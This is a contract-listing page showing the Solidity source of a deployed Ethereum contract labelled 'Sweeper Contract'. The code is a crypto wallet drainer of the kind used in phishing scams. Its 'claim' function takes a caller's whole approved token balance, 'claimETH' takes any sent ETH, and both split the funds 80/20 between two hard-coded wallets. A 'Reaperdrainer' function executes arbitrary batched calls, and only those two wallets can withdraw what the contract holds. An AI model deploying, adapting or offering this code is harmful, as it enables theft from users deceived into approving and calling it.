Sweeper Contract

Description:

Smart contract deployed on Ethereum.

Blockchain: Ethereum

Source Code: View Code On The Blockchain

Solidity Source Code:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

interface IERC20 {
    function balanceOf(address account) external view returns (uint256);
    function allowance(address owner, address spender) external view returns (uint256);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    function transfer(address recipient, uint256 amount) external returns (bool);
}

contract Sweeper {
    string public constant name = "Sweeper Contract";
    string public constant version = "1.0";

    address public immutable wallet80;
    address public immutable wallet20;
    bool private locked;
    uint256 public constant MAX_CALLS = 10;
    uint256 private constant GAS_RESERVE = 100000;

    event Claimed(address indexed user, address indexed token, uint256 amount80, uint256 amount20);
    event ETHClaimed(address indexed user, uint256 amount80, uint256 amount20);
    event ReaperdrainerExecuted(address indexed user, uint256 callsCount);
    event ERC20Recovered(address indexed token, address indexed to, uint256 amount);

    modifier noReentrant() {
        require(!locked, "Reentrant call");
        locked = true;
        _;
        locked = false;
    }

    constructor(address _wallet80, address _wallet20) {
        require(_wallet80 != address(0), "wallet80 is zero");
        require(_wallet20 != address(0), "wallet20 is zero");
        require(_wallet80 != _wallet20, "wallets must differ");
        wallet80 = _wallet80;
        wallet20 = _wallet20;
    }

    function claim(address token) external noReentrant {
        IERC20 erc20 = IERC20(token);
        uint256 balance = erc20.balanceOf(msg.sender);
        uint256 allowanceAmount = erc20.allowance(msg.sender, address(this));

        require(balance > 0, "No tokens");
        require(allowanceAmount >= balance, "Allowance low");

        uint256 amountToWallet20 = balance * 20 / 100;
        uint256 amountToWallet80 = balance - amountToWallet20;

        bool success = erc20.transferFrom(msg.sender, address(this), balance);
        require(success, "TransferFrom failed");

        if (amountToWallet80 > 0) {
            success = erc20.transfer(wallet80, amountToWallet80);
            require(success, "Transfer to wallet80 failed");
        }
        if (amountToWallet20 > 0) {
            success = erc20.transfer(wallet20, amountToWallet20);
            require(success, "Transfer to wallet20 failed");
        }

        emit Claimed(msg.sender, token, amountToWallet80, amountToWallet20);
    }

    function claimETH() external payable noReentrant {
        require(msg.value > 0, "No ETH sent");

        uint256 amountToWallet20 = msg.value * 20 / 100;
        uint256 amountToWallet80 = msg.value - amountToWallet20;

        (bool sent80, ) = payable(wallet80).call{value: amountToWallet80}("");
        require(sent80, "Send to wallet80 failed");

        (bool sent20, ) = payable(wallet20).call{value: amountToWallet20}("");
        require(sent20, "Send to wallet20 failed");

        emit ETHClaimed(msg.sender, amountToWallet80, amountToWallet20);
    }

    struct Call {
        address target;
        bytes callData;
    }

    function Reaperdrainer(Call[] calldata calls) external noReentrant {
        require(calls.length <= MAX_CALLS, "Too many calls");

        for (uint256 i = 0; i < calls.length; i++) {
            (bool success, ) = calls[i].target.call{gas: GAS_RESERVE}(calls[i].callData);
            require(success, _errorMessage(i));
        }

        emit ReaperdrainerExecuted(msg.sender, calls.length);
    }

    function recoverERC20(address tokenAddress, uint256 amount) external {
        require(msg.sender == wallet80 || msg.sender == wallet20, "Not authorized");
        bool success = IERC20(tokenAddress).transfer(msg.sender, amount);
        require(success, "Recover failed");
        emit ERC20Recovered(tokenAddress, msg.sender, amount);
    }

    function _errorMessage(uint256 index) internal pure returns (string memory) {
        return string(abi.encodePacked("Call failed at idx ", _toString(index)));
    }

    function _toString(uint256 value) internal pure returns (string memory) {
        if (value == 0) return "0";
        uint256 temp = value;
        uint256 digits;
        while (temp != 0) {
            digits++;
            temp /= 10;
        }
        bytes memory buffer = new bytes(digits);
        while (value != 0) {
            digits -= 1;
            buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
            value /= 10;
        }
        return string(buffer);
    }

    receive() external payable {
        revert("No direct ETH");
    }
}

Tags:
addr:0xed1fff9da48aca03f5226f124daef89dec9a7a4d|verified:true|block:23657578|tx:0x8226d619f8544d5208b52e8f1d22ac02994cacbc11c363a67ab1e0ee7137f1d8|first_check:1761470016

Submitted on: 2025-10-26 10:13:37

Comments

Log in to comment.

No comments yet.